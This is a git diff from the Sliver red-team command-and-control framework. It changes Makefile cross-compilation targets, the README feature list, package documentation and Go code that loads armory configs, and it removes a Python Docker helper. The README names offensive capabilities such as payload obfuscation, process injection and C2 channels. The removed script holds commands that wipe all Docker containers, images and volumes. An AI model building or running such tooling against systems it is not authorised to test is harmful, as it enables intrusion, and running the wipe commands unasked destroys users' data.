-X $(CLIENT_ASSETS_PKG).DefaultArmoryRepoURL=$(ARMORY_REPO_URL)"
|
||||
|
||||
# Debug builds can't be stripped (-s -w flags)
|
||||
LDFLAGS_DEBUG = -ldflags "-X $(VERSION_PKG).Version=$(VERSION) \
|
||||
-X \"$(VERSION_PKG).GoVersion=$(GO_VERSION)\" \
|
||||
-X $(VERSION_PKG).CompiledAt=$(COMPILED_AT) \
|
||||
-X $(VERSION_PKG).GithubReleasesURL=$(RELEASES_URL) \
|
||||
-X $(VERSION_PKG).GitCommit=$(GIT_COMMIT) \
|
||||
-X $(VERSION_PKG).GitDirty=$(GIT_DIRTY) \
|
||||
-X $(CLIENT_ASSETS_PKG).DefaultArmoryPublicKey=$(ARMORY_PUB_KEY) \
|
||||
# Debug builds shouldn't be stripped (-s -w flags)
|
||||
LDFLAGS_DEBUG = -ldflags "-X $(CLIENT_ASSETS_PKG).DefaultArmoryPublicKey=$(ARMORY_PUBLIC_KEY) \
|
||||
-X $(CLIENT_ASSETS_PKG).DefaultArmoryRepoURL=$(ARMORY_REPO_URL)"
|
||||
|
||||
SED_INPLACE := sed -i
|
||||
@@ -63,17 +47,6 @@ STATIC_TARGET := linux
|
||||
UNAME_S := $(shell uname -s)
|
||||
UNAME_P := $(shell uname -p)
|
||||
|
||||
# If the target is Windows from Linux/Darwin, check for mingw
|
||||
CROSS_COMPILERS = x86_64-w64-mingw32-gcc x86_64-w64-mingw32-g++
|
||||
ifneq (,$(findstring cgosqlite,$(TAGS)))
|
||||
ENV +=CGO_ENABLED=1
|
||||
ifeq ($(MAKECMDGOALS), windows)
|
||||
K := $(foreach exec,$(CROSS_COMPILERS),\
|
||||
$(if $(shell which $(exec)),some string,$(error "Missing cross-compiler $(exec) in PATH")))
|
||||
ENV += CC=x86_64-w64-mingw32-gcc CXX=x86_64-w64-mingw32-g++
|
||||
endif
|
||||
endif
|
||||
|
||||
# Programs required for generating protobuf/grpc files
|
||||
PB_COMPILERS = protoc protoc-gen-go protoc-gen-go-grpc
|
||||
ifeq ($(MAKECMDGOALS), pb)
|
||||
@@ -90,7 +63,9 @@ endif
|
||||
# If no target is specified, determine GOARCH
|
||||
ifeq ($(UNAME_P),arm)
|
||||
ifeq ($(MAKECMDGOALS), )
|
||||
ENV += GOARCH=arm64
|
||||
ifeq ($(origin GOARCH), undefined)
|
||||
ENV += GOARCH=arm64
|
||||
endif
|
||||
endif
|
||||
endif
|
||||
|
||||
@@ -98,54 +73,71 @@ ifeq ($(MAKECMDGOALS), linux)
|
||||
# Redefine LDFLAGS to add the static part
|
||||
LDFLAGS = -ldflags "-s -w \
|
||||
-extldflags '-static' \
|
||||
-X $(VERSION_PKG).Version=$(VERSION) \
|
||||
-X \"$(VERSION_PKG).GoVersion=$(GO_VERSION)\" \
|
||||
-X $(VERSION_PKG).CompiledAt=$(COMPILED_AT) \
|
||||
-X $(VERSION_PKG).GithubReleasesURL=$(RELEASES_URL) \
|
||||
-X $(VERSION_PKG).GitCommit=$(GIT_COMMIT) \
|
||||
-X $(VERSION_PKG).GitDirty=$(GIT_DIRTY) \
|
||||
-X $(CLIENT_ASSETS_PKG).DefaultArmoryPublicKey=$(ARMORY_PUB_KEY) \
|
||||
-X $(CLIENT_ASSETS_PKG).DefaultArmoryPublicKey=$(ARMORY_PUBLIC_KEY) \
|
||||
-X $(CLIENT_ASSETS_PKG).DefaultArmoryRepoURL=$(ARMORY_REPO_URL)"
|
||||
endif
|
||||
|
||||
ifeq ($(MAKECMDGOALS), linux-arm64)
|
||||
# Redefine TAGS/ENV to use pure go sqlite3
|
||||
TAGS = -tags osusergo,netgo,gosqlite
|
||||
ENV = CGO_ENABLED=0
|
||||
endif
|
||||
|
||||
#
|
||||
# Targets
|
||||
#
|
||||
.PHONY: default
|
||||
default: clean .downloaded_assets validate-go-version
|
||||
$(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server$(ARTIFACT_SUFFIX) ./server
|
||||
$(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client$(ARTIFACT_SUFFIX) ./client
|
||||
default: clean validate-go-version
|
||||
env -u GOOS -u GOARCH $(MAKE) GOOS= GOARCH= .downloaded_assets
|
||||
$(ENV) $(if $(GOOS),GOOS=$(GOOS)) $(if $(GOARCH),GOARCH=$(GOARCH)) CGO_ENABLED=$(CGO_ENABLED) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server$(ARTIFACT_SUFFIX) ./server
|
||||
$(ENV) $(if $(GOOS),GOOS=$(GOOS)) $(if $(GOARCH),GOARCH=$(GOARCH)) CGO_ENABLED=0 $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client$(ARTIFACT_SUFFIX) ./client
|
||||
|
||||
.PHONY: macos
|
||||
macos: clean .downloaded_assets validate-go-version
|
||||
GOOS=darwin GOARCH=amd64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server$(ARTIFACT_SUFFIX) ./server
|
||||
GOOS=darwin GOARCH=amd64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client$(ARTIFACT_SUFFIX) ./client
|
||||
# Allows you to build a CGO-free client for any target e.g. `GOOS=windows GOARCH=arm64 make client`
|
||||
# NOTE: WireGuard is not supported on all platforms, but most 64-bit GOOS/GOARCH combinations should work.
|
||||
.PHONY: client
|
||||
client: clean .downloaded_assets validate-go-version
|
||||
$(ENV) CGO_ENABLED=0 $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client ./client
|
||||
|
||||
.PHONY: macos-amd64
|
||||
macos-amd64: clean .downloaded_assets validate-go-version
|
||||
GOOS=darwin GOARCH=amd64 $(ENV) CGO_ENABLED=$(CGO_ENABLED) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server$(ARTIFACT_SUFFIX) ./server
|
||||
GOOS=darwin GOARCH=amd64 $(ENV) CGO_ENABLED=0 $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client$(ARTIFACT_SUFFIX) ./client
|
||||
|
||||
.PHONY: macos-arm64
|
||||
macos-arm64: clean .downloaded_assets validate-go-version
|
||||
GOOS=darwin GOARCH=arm64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server$(ARTIFACT_SUFFIX) ./server
|
||||
GOOS=darwin GOARCH=arm64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client$(ARTIFACT_SUFFIX) ./client
|
||||
GOOS=darwin GOARCH=arm64 $(ENV) CGO_ENABLED=$(CGO_ENABLED) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server$(ARTIFACT_SUFFIX) ./server
|
||||
GOOS=darwin GOARCH=arm64 $(ENV) CGO_ENABLED=0 $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client$(ARTIFACT_SUFFIX) ./client
|
||||
|
||||
.PHONY: linux
|
||||
linux: clean .downloaded_assets validate-go-version
|
||||
GOOS=linux GOARCH=amd64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server$(ARTIFACT_SUFFIX) ./server
|
||||
GOOS=linux GOARCH=amd64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client$(ARTIFACT_SUFFIX) ./client
|
||||
.PHONY: linux-amd64
|
||||
linux-amd64: clean .downloaded_assets validate-go-version
|
||||
GOOS=linux GOARCH=amd64 $(ENV) CGO_ENABLED=$(CGO_ENABLED) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server$(ARTIFACT_SUFFIX) ./server
|
||||
GOOS=linux GOARCH=amd64 $(ENV) CGO_ENABLED=0 $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client$(ARTIFACT_SUFFIX) ./client
|
||||
|
||||
.PHONY: linux-arm64
|
||||
linux-arm64: clean .downloaded_assets validate-go-version
|
||||
GOOS=linux GOARCH=arm64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server$(ARTIFACT_SUFFIX) ./server
|
||||
GOOS=linux GOARCH=arm64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client$(ARTIFACT_SUFFIX) ./client
|
||||
GOOS=linux GOARCH=arm64 $(ENV) CGO_ENABLED=$(CGO_ENABLED) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server$(ARTIFACT_SUFFIX) ./server
|
||||
GOOS=linux GOARCH=arm64 $(ENV) CGO_ENABLED=0 $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client$(ARTIFACT_SUFFIX) ./client
|
||||
|
||||
.PHONY: windows
|
||||
windows: clean .downloaded_assets validate-go-version
|
||||
GOOS=windows $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server$(ARTIFACT_SUFFIX).exe ./server
|
||||
GOOS=windows $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client$(ARTIFACT_SUFFIX).exe ./client
|
||||
.PHONY: windows-amd64
|
||||
windows-amd64: clean .downloaded_assets validate-go-version
|
||||
GOOS=windows GOARCH=amd64 $(ENV) CGO_ENABLED=$(CGO_ENABLED) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server$(ARTIFACT_SUFFIX).exe ./server
|
||||
GOOS=windows GOARCH=amd64 $(ENV) CGO_ENABLED=0 $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client$(ARTIFACT_SUFFIX).exe ./client
|
||||
|
||||
.PHONY: clients
|
||||
clients: clean .downloaded_assets validate-go-version
|
||||
GOOS=darwin GOARCH=amd64 $(ENV) CGO_ENABLED=0 $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client_macos-amd64$(ARTIFACT_SUFFIX) ./client
|
||||
GOOS=darwin GOARCH=arm64 $(ENV) CGO_ENABLED=0 $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client_macos-arm64$(ARTIFACT_SUFFIX) ./client
|
||||
GOOS=linux GOARCH=386 $(ENV) CGO_ENABLED=0 $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client_linux-386$(ARTIFACT_SUFFIX) ./client
|
||||
GOOS=linux GOARCH=amd64 $(ENV) CGO_ENABLED=0 $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client_linux-amd64$(ARTIFACT_SUFFIX) ./client
|
||||
GOOS=linux GOARCH=arm64 $(ENV) CGO_ENABLED=0 $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client_linux-arm64$(ARTIFACT_SUFFIX) ./client
|
||||
GOOS=windows GOARCH=386 $(ENV) CGO_ENABLED=0 $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client_windows-386$(ARTIFACT_SUFFIX).exe ./client
|
||||
GOOS=windows GOARCH=amd64 $(ENV) CGO_ENABLED=0 $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client_windows-amd64$(ARTIFACT_SUFFIX).exe ./client
|
||||
GOOS=windows GOARCH=arm64 $(ENV) CGO_ENABLED=0 $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client_windows-arm64$(ARTIFACT_SUFFIX).exe ./client
|
||||
GOOS=freebsd GOARCH=amd64 $(ENV) CGO_ENABLED=0 $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client_freebsd-amd64$(ARTIFACT_SUFFIX) ./client
|
||||
GOOS=freebsd GOARCH=arm64 $(ENV) CGO_ENABLED=0 $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client_freebsd-arm64$(ARTIFACT_SUFFIX) ./client
|
||||
|
||||
.PHONY: servers
|
||||
servers: clean .downloaded_assets validate-go-version
|
||||
GOOS=windows GOARCH=amd64 $(ENV) CGO_ENABLED=0 $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server_windows-amd64$(ARTIFACT_SUFFIX).exe ./server
|
||||
GOOS=windows GOARCH=arm64 $(ENV) CGO_ENABLED=0 $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server_windows-arm64$(ARTIFACT_SUFFIX).exe ./server
|
||||
GOOS=linux GOARCH=amd64 $(ENV) CGO_ENABLED=0 $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server_linux-amd64$(ARTIFACT_SUFFIX) ./server
|
||||
GOOS=linux GOARCH=arm64 $(ENV) CGO_ENABLED=0 $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server_linux-arm64$(ARTIFACT_SUFFIX) ./server
|
||||
GOOS=darwin GOARCH=arm64 $(ENV) CGO_ENABLED=0 $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server_darwin-arm64$(ARTIFACT_SUFFIX) ./server
|
||||
GOOS=darwin GOARCH=amd64 $(ENV) CGO_ENABLED=0 $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server_darwin-amd64$(ARTIFACT_SUFFIX) ./server
|
||||
|
||||
.PHONY: pb
|
||||
pb:
|
||||
@@ -157,8 +149,8 @@ pb:
|
||||
|
||||
.PHONY: debug
|
||||
debug: clean
|
||||
$(ENV) $(GO) build -mod=vendor $(TAGS),server $(LDFLAGS_DEBUG) -o sliver-server$(ARTIFACT_SUFFIX) ./server
|
||||
$(ENV) $(GO) build -mod=vendor $(TAGS),client $(LDFLAGS_DEBUG) -o sliver-client$(ARTIFACT_SUFFIX) ./client
|
||||
$(ENV) CGO_ENABLED=$(CGO_ENABLED) $(GO) build -mod=vendor $(TAGS),server $(LDFLAGS_DEBUG) -o sliver-server$(ARTIFACT_SUFFIX) ./server
|
||||
$(ENV) CGO_ENABLED=0 $(GO) build -mod=vendor $(TAGS),client $(LDFLAGS_DEBUG) -o sliver-client$(ARTIFACT_SUFFIX) ./client
|
||||
|
||||
validate-go-version:
|
||||
@if [ $(GO_MAJOR_VERSION) -gt $(MIN_SUPPORTED_GO_MAJOR_VERSION) ]; then \
|
||||
@@ -182,8 +174,8 @@ clean-all: clean
|
||||
|
||||
.PHONY: clean
|
||||
clean:
|
||||
rm -f sliver-client sliver-server sliver-*.exe
|
||||
rm -f sliver-client sliver-client_* sliver-server sliver-server_* sliver-*.exe
|
||||
|
||||
.downloaded_assets:
|
||||
./go-assets.sh
|
||||
$(ENV) $(GO) run -mod=vendor ./util/cmd/assets
|
||||
touch ./.downloaded_assets
|
||||
@@ -1,5 +1,4 @@
|
||||
Sliver
|
||||
======
|
||||
# Sliver
|
||||
|
||||
Sliver is an open source cross-platform adversary emulation/red team framework, it can be used by organizations of all sizes to perform security testing. Sliver's implants support C2 over Mutual TLS (mTLS), WireGuard, HTTP(S), and DNS and are dynamically compiled with per-binary asymmetric encryption keys.
|
||||
|
||||
@@ -9,24 +8,24 @@ The server and client support MacOS, Windows, and Linux. Implants are supported
|
||||
|
||||
### Features
|
||||
|
||||
* Dynamic code generation
|
||||
* Compile-time obfuscation
|
||||
* Multiplayer-mode
|
||||
* Staged and Stageless payloads
|
||||
* [Procedurally generated C2](https://github.com/BishopFox/sliver/wiki/HTTP(S)-C2#under-the-hood) over HTTP(S)
|
||||
* [DNS canary](https://github.com/BishopFox/sliver/wiki/DNS-C2#dns-canaries) blue team detection
|
||||
* [Secure C2](https://github.com/BishopFox/sliver/wiki/Transport-Encryption) over mTLS, WireGuard, HTTP(S), and DNS
|
||||
* Fully scriptable using [JavaScript/TypeScript](https://github.com/moloch--/sliver-script) or [Python](https://github.com/moloch--/sliver-py)
|
||||
* Windows process migration, process injection, user token manipulation, etc.
|
||||
* Let's Encrypt integration
|
||||
* In-memory .NET assembly execution
|
||||
* COFF/BOF in-memory loader
|
||||
* TCP and named pipe pivots
|
||||
* Much more!
|
||||
- Dynamic code generation
|
||||
- Compile-time obfuscation
|
||||
- Multiplayer-mode
|
||||
- Staged and Stageless payloads
|
||||
- [Procedurally generated C2](https://sliver.sh/docs?name=HTTPS+C2) over HTTP(S)
|
||||
- [DNS canary](https://sliver.sh/docs?name=DNS+C2) blue team detection
|
||||
- [Secure C2](https://sliver.sh/docs?name=Transport+Encryption) over mTLS, WireGuard, HTTP(S), and DNS
|
||||
- Fully scriptable using [Python](https://github.com/moloch--/sliver-py)
|
||||
- Windows process migration, process injection, user token manipulation, etc.
|
||||
- Let's Encrypt integration
|
||||
- In-memory .NET assembly execution
|
||||
- COFF/BOF in-memory loader
|
||||
- TCP and named pipe pivots
|
||||
- Much more!
|
||||
|
||||
### Getting Started
|
||||
|
||||
Download the latest [release](https://github.com/BishopFox/sliver/releases) and see the Sliver [wiki](https://github.com/BishopFox/sliver/wiki/Getting-Started) for a quick tutorial on basic setup and usage. To get the very latest and greatest compile from source.
|
||||
Download the latest [release](https://github.com/BishopFox/sliver/releases) and see the Sliver [wiki](https://sliver.sh/docs?name=Getting+Started) for a quick tutorial on basic setup and usage. To get the very latest and greatest compile from source.
|
||||
|
||||
#### Linux One Liner
|
||||
|
||||
@@ -34,15 +33,11 @@ Download the latest [release](https://github.com/BishopFox/sliver/releases) and
|
||||
|
||||
### Help!
|
||||
|
||||
Please checkout the [wiki](https://github.com/BishopFox/sliver/wiki), or start a [GitHub discussion](https://github.com/BishopFox/sliver/discussions). We also tend to hang out in the #golang Slack channel on the [Bloodhound Gang](https://bloodhoundgang.herokuapp.com/) server.
|
||||
Please checkout the [wiki](https://sliver.sh/), or start a [GitHub discussion](https://github.com/BishopFox/sliver/discussions).
|
||||
|
||||
### Compile From Source
|
||||
|
||||
See the [wiki](https://github.com/BishopFox/sliver/wiki/Compile-From-Source).
|
||||
|
||||
### Feedback
|
||||
|
||||
Please take a moment and fill out [our survey](https://forms.gle/SwVsHFNh24ChG58C6)
|
||||
See the [wiki](https://sliver.sh/docs?name=Compile+from+Source).
|
||||
|
||||
### License - GPLv3
|
||||
|
||||
|
||||
@@ -1,118 +0,0 @@
|
||||
#!/usr/bin/env python
|
||||
"""
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2019 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
"""
|
||||
|
||||
import os
|
||||
import sys
|
||||
import argparse
|
||||
|
||||
try:
|
||||
input = raw_input # Py2 / Py3 compatability
|
||||
except NameError:
|
||||
pass
|
||||
|
||||
|
||||
INFO = "\033[1m\033[36m[*]\033[0m "
|
||||
WARN = "\033[1m\033[31m[!]\033[0m "
|
||||
BOLD = "\033[1m"
|
||||
NORM = "\033[0m"
|
||||
|
||||
|
||||
def exec_cmd(cmd, ignore_status=False):
|
||||
""" Executes a command with some sugar """
|
||||
print("\n" + INFO + " %s\n" % cmd)
|
||||
status = os.system(cmd)
|
||||
if status != 0 and not ignore_status:
|
||||
print("\n" + WARN + "Command did not exit cleanly (%s) " % status)
|
||||
if input("continue? [Y/n]: ").upper() != 'Y':
|
||||
sys.exit(status)
|
||||
return status
|
||||
|
||||
def docker_rm_volumes():
|
||||
exec_cmd("docker volume rm $(docker volume ls -q)", ignore_status=True)
|
||||
|
||||
def docker_rm_containers():
|
||||
exec_cmd("docker rm $(docker ps -a -q)", ignore_status=True)
|
||||
|
||||
def docker_rm_images():
|
||||
exec_cmd("docker rmi -f $(docker images -q)", ignore_status=True)
|
||||
|
||||
def docker_prune():
|
||||
exec_cmd("docker image prune -f", ignore_status=True)
|
||||
|
||||
def docker_rm_all():
|
||||
docker_rm_containers()
|
||||
docker_rm_images()
|
||||
docker_rm_volumes()
|
||||
|
||||
def build():
|
||||
status = exec_cmd("docker build -t sliver .")
|
||||
if status == 0:
|
||||
print(INFO+"Build successful, start with %sdocker run -it sliver:latest%s" % (BOLD, NORM))
|
||||
print(INFO+"Remember you'll need to manually forward network ports")
|
||||
|
||||
def main(args):
|
||||
""" Execute the respective task(s) based on cli args """
|
||||
if args.rm_images:
|
||||
docker_rm_images()
|
||||
if args.rm_containers:
|
||||
docker_rm_containers()
|
||||
if args.rm_volumes:
|
||||
docker_rm_volumes()
|
||||
if args.rm_all:
|
||||
docker_rm_all()
|
||||
|
||||
if not args.no_prune:
|
||||
docker_prune()
|
||||
if not args.no_build:
|
||||
build()
|
||||
|
||||
|
||||
if __name__ == '__main__':
|
||||
parser = argparse.ArgumentParser(
|
||||
description='automates interactions with docker')
|
||||
|
||||
parser.add_argument('--no-build', '-b',
|
||||
help='do not run build',
|
||||
dest='no_build',
|
||||
action='store_true')
|
||||
parser.add_argument('--no-prune', '-np',
|
||||
help='do not prune images',
|
||||
dest='no_prune',
|
||||
action='store_true')
|
||||
|
||||
parser.add_argument('--rm-all', '-rma',
|
||||
help='rm all containers, images, and volumes',
|
||||
dest='rm_all',
|
||||
action='store_true')
|
||||
parser.add_argument('--rm-containers', '-rmc',
|
||||
help='rm all containers',
|
||||
dest='rm_containers',
|
||||
action='store_true')
|
||||
parser.add_argument('--rm-images', '-rmi',
|
||||
help='rm all images',
|
||||
dest='rm_images',
|
||||
action='store_true')
|
||||
parser.add_argument('--rm-volumes', '-rmv',
|
||||
help='rm dangling volumes only',
|
||||
dest='rm_volumes',
|
||||
action='store_true')
|
||||
try:
|
||||
main(parser.parse_args())
|
||||
except KeyboardInterrupt:
|
||||
print("\n\n" + WARN + "User stopped process")
|
||||
+23
-15
@@ -1,18 +1,26 @@
|
||||
Client
|
||||
=======
|
||||
# client
|
||||
|
||||
This directory contains the client implementation, pretty much all of this code is also used by the server console.
|
||||
## Overview
|
||||
|
||||
__Important:__ No code in this directory can import any code from `server/`.
|
||||
Main command-line client for interacting with and administering Sliver servers. Provides the Cobra entrypoint and aggregates console, command, and transport subsystems.
|
||||
|
||||
* `assets/` - Static asset files and management code (e.g. client configs)
|
||||
* `cli/` - Command line interface implementation
|
||||
* `command/` - Console command implementations
|
||||
* `constants/` - Various shared constant values
|
||||
* `core/` - Client state management
|
||||
* `licenses/` - Open source licenses
|
||||
* `spin/` - Console spinner library
|
||||
* `tcpproxy/` - Local TCP proxy listener code
|
||||
* `transport/` - Wires the client to the server
|
||||
* `version/` - Version information
|
||||
* `main.go` - Entrypoint
|
||||
## Go Files
|
||||
|
||||
- `main.go` – Entry point that initializes the CLI, processes flags, and launches the interactive console.
|
||||
|
||||
## Sub-packages
|
||||
|
||||
- `assets/` – Manages embedded client asset manifests such as operator profiles, settings, and armory catalogs. Handles serialization, bundling, and lookup of static client metadata.
|
||||
- `cli/` – Defines the Cobra root command and CLI initialization for the Sliver client binary. Sets up persistent flags, environment bootstrapping, and command wiring.
|
||||
- `command/` – Shared registration glue, scaffolding, and helpers for Sliver client console command groups. Hosts common utilities for binding Cobra commands to RPC-backed actions.
|
||||
- `console/` – Renders the interactive console UI, logging, and terminal helpers for the client. Coordinates readline behavior, prompt styling, and message formatting.
|
||||
- `constants/` – Centralizes constants shared across the client runtime and command packages. Captures strings, flag names, and feature toggles used throughout the CLI.
|
||||
- `core/` – Maintains client application state, background workers, and RPC coordination. Orchestrates session tracking, event streams, and health checks.
|
||||
- `credentials/` – Credential management utilities including sniffers and import helpers for operators. Provides parsers, storage helpers, and output formatting for recovered secrets.
|
||||
- `licenses/` – Holds embedded license metadata bundled with the client distribution. Supplies license retrieval utilities used for attribution commands.
|
||||
- `overlord/` – Supervises long-running client jobs, scheduling, and task orchestration. Tracks job lifecycle events and exposes status updates to the console.
|
||||
- `packages/` – Deals with packaged extensions and module discovery for the client. Scans, validates, and caches extension manifests and assets.
|
||||
- `spin/` – Lightweight terminal spinner utilities used for progress feedback. Wraps spinner styles and timing helpers shared across commands.
|
||||
- `tcpproxy/` – Implements the local TCP proxy used for port forwarding from the client side. Manages listener lifecycles, connection pumps, and cleanup hooks.
|
||||
- `transport/` – Client-side transports and RPC wiring to communicate with Sliver servers. Builds authenticated gRPC clients, TLS dialers, and reconnect logic.
|
||||
- `version/` – Build-time version and semantic metadata for the client binary. Exposes git information, release channels, and helper formatters.
|
||||
+14
-2
@@ -1,3 +1,15 @@
|
||||
Assets
|
||||
======
|
||||
# client/assets
|
||||
|
||||
## Overview
|
||||
|
||||
Manages embedded client asset manifests such as operator profiles, settings, and armory catalogs. Handles serialization, bundling, and lookup of static client metadata. Core logic addresses aliases, armories, C2 profiles, and extensions within the assets package.
|
||||
|
||||
## Go Files
|
||||
|
||||
- `aliases.go` – Provides helpers for discovering, installing, and reading alias manifests shipped with the client.
|
||||
- `armories.go` – Loads configured armory definitions and persists operator customizations.
|
||||
- `assets.go` – Central entry point that exposes asset directories, lazy initialization, and filesystem utilities.
|
||||
- `c2profiles.go` – Embeds default HTTP C2 profile templates and exposes lookup utilities.
|
||||
- `config.go` – Tracks client configuration paths and manages persistence of runtime options.
|
||||
- `extensions.go` – Handles embedded extension manifests and supports lookup by command name.
|
||||
- `settings.go` – Stores default console settings and manages serialization to disk.
|
||||
@@ -19,7 +19,6 @@ package assets
|
||||
*/
|
||||
|
||||
import (
|
||||
"io/ioutil"
|
||||
"log"
|
||||
"os"
|
||||
"path/filepath"
|
||||
@@ -45,7 +44,7 @@ func GetAliasesDir() string {
|
||||
// GetInstalledAliasManifests - Returns a list of installed alias manifests
|
||||
func GetInstalledAliasManifests() []string {
|
||||
aliasDir := GetAliasesDir()
|
||||
aliasDirContent, err := ioutil.ReadDir(aliasDir)
|
||||
aliasDirContent, err := os.ReadDir(aliasDir)
|
||||
if err != nil {
|
||||
log.Printf("error loading aliases: %s", err)
|
||||
return []string{}
|
||||
|
||||
+58
-20
@@ -20,7 +20,6 @@ package assets
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"io/ioutil"
|
||||
"log"
|
||||
"os"
|
||||
"os/exec"
|
||||
@@ -28,7 +27,8 @@ import (
|
||||
)
|
||||
|
||||
const (
|
||||
armoryConfigFileName = "armories.json"
|
||||
ArmoryConfigFileName = "armories.json"
|
||||
DefaultArmoryName = "Default"
|
||||
)
|
||||
|
||||
var (
|
||||
@@ -37,9 +37,11 @@ var (
|
||||
// DefaultArmoryRepoURL - The default repo url for the armory
|
||||
DefaultArmoryRepoURL string
|
||||
|
||||
defaultArmoryConfig = &ArmoryConfig{
|
||||
DefaultArmoryConfig = &ArmoryConfig{
|
||||
PublicKey: DefaultArmoryPublicKey,
|
||||
RepoURL: DefaultArmoryRepoURL,
|
||||
Name: DefaultArmoryName,
|
||||
Enabled: true,
|
||||
}
|
||||
)
|
||||
|
||||
@@ -49,29 +51,65 @@ type ArmoryConfig struct {
|
||||
RepoURL string `json:"repo_url"`
|
||||
Authorization string `json:"authorization"`
|
||||
AuthorizationCmd string `json:"authorization_cmd"`
|
||||
Name string `json:"name"`
|
||||
Enabled bool `json:"enabled"`
|
||||
}
|
||||
|
||||
// GetArmoriesConfig - The parsed armory config file
|
||||
func GetArmoriesConfig() []*ArmoryConfig {
|
||||
armoryConfigPath := filepath.Join(GetRootAppDir(), armoryConfigFileName)
|
||||
if _, err := os.Stat(armoryConfigPath); os.IsNotExist(err) {
|
||||
return []*ArmoryConfig{defaultArmoryConfig}
|
||||
}
|
||||
data, err := ioutil.ReadFile(armoryConfigPath)
|
||||
if err != nil {
|
||||
return []*ArmoryConfig{defaultArmoryConfig}
|
||||
}
|
||||
var armoryConfigs []*ArmoryConfig
|
||||
err = json.Unmarshal(data, &armoryConfigs)
|
||||
if err != nil {
|
||||
return []*ArmoryConfig{defaultArmoryConfig}
|
||||
}
|
||||
for _, armoryConfig := range armoryConfigs {
|
||||
func RefreshArmoryAuthorization(armories []*ArmoryConfig) {
|
||||
for _, armoryConfig := range armories {
|
||||
if armoryConfig.AuthorizationCmd != "" {
|
||||
armoryConfig.Authorization = executeAuthorizationCmd(armoryConfig)
|
||||
}
|
||||
}
|
||||
return append(armoryConfigs, defaultArmoryConfig)
|
||||
}
|
||||
|
||||
// GetArmoriesConfig - The parsed armory config file
|
||||
func GetArmoriesConfig() []*ArmoryConfig {
|
||||
armoryConfigPath := filepath.Join(GetRootAppDir(), ArmoryConfigFileName)
|
||||
if _, err := os.Stat(armoryConfigPath); os.IsNotExist(err) {
|
||||
return []*ArmoryConfig{DefaultArmoryConfig}
|
||||
}
|
||||
data, err := os.ReadFile(armoryConfigPath)
|
||||
if err != nil {
|
||||
return []*ArmoryConfig{DefaultArmoryConfig}
|
||||
}
|
||||
var armoryConfigsFromFile []*ArmoryConfig
|
||||
var armoryConfigs []*ArmoryConfig
|
||||
err = json.Unmarshal(data, &armoryConfigsFromFile)
|
||||
if err != nil {
|
||||
return []*ArmoryConfig{DefaultArmoryConfig}
|
||||
}
|
||||
|
||||
// Force the default armory to be the last
|
||||
defaultArmorySpecified := false
|
||||
|
||||
